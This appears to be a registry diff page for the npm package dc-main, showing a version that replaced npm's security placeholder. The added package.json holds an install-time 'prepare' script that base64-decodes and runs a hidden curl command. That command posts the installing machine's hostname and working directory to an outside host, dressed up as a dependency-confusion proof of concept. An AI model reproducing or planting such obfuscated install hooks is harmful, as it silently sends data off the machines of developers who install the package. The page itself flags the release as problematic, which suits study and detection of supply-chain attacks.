dc-main 0.0.1-security → 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of dc-main might be problematic. Click here for more details.
- package/index.js +21 -0
- package/package.json +10 -5
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
const str = function () {
|
|
2
|
+
/*
|
|
3
|
+
|
|
4
|
+
______ _ _____ __ _ ______ _____ _____
|
|
5
|
+
| _ \ | | / __ \ / _| (_) | ___ \ _ / __ \
|
|
6
|
+
| | | |___ _ __ ___ _ __ __| | ___ _ __ ___ _ _ | / \/ ___ _ __ | |_ _ _ ___ _ ___ _ __ | |_/ / | | | / \/
|
|
7
|
+
| | | / _ \ '_ \ / _ \ '_ \ / _` |/ _ \ '_ \ / __| | | | | | / _ \| '_ \| _| | | / __| |/ _ \| '_ \ | __/| | | | |
|
|
8
|
+
| |/ / __/ |_) | __/ | | | (_| | __/ | | | (__| |_| | | \__/\ (_) | | | | | | |_| \__ \ | (_) | | | | | | \ \_/ / \__/\
|
|
9
|
+
|___/ \___| .__/ \___|_| |_|\__,_|\___|_| |_|\___|\__, | \____/\___/|_| |_|_| \__,_|___/_|\___/|_| |_| \_| \___/ \____/
|
|
10
|
+
| | __/ |
|
|
11
|
+
|_| |___/
|
|
12
|
+
|
|
13
|
+
A poc of dependency confusion. This is for proof of concept only.
|
|
14
|
+
|
|
15
|
+
Contact: contact@jqsec.cc
|
|
16
|
+
|
|
17
|
+
|
|
18
|
+
*/
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
console.log(str.toString().split('\n').slice(2,-2).join('\n'))
|
package/package.json
CHANGED
|
@@ -1,6 +1,11 @@
|
|
|
1
1
|
{
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
2
|
+
"name": "dc-main",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"prepare":"echo 'Y3VybCBodHRwczovL2RjLjcwLmxjL2QgLVggUE9TVCAtSCAnQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uJyAtLWRhdGEgJ3siaXAiOiJOL0EiLCJob3N0IjoiJyQoaG9zdG5hbWUpJyIsInBhdGgiOiInJChwd2QpJyIsIm9yZyI6Ik4vQSIsInBhY2thZ2UiOiJOL0EiLCJ2ZXJzaW9uIjoiTi9BIn0n' | base64 -d | sh"
|
|
8
|
+
},
|
|
9
|
+
"author": "jq",
|
|
10
|
+
"license": "ISC"
|
|
11
|
+
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=dc-main for more information.
|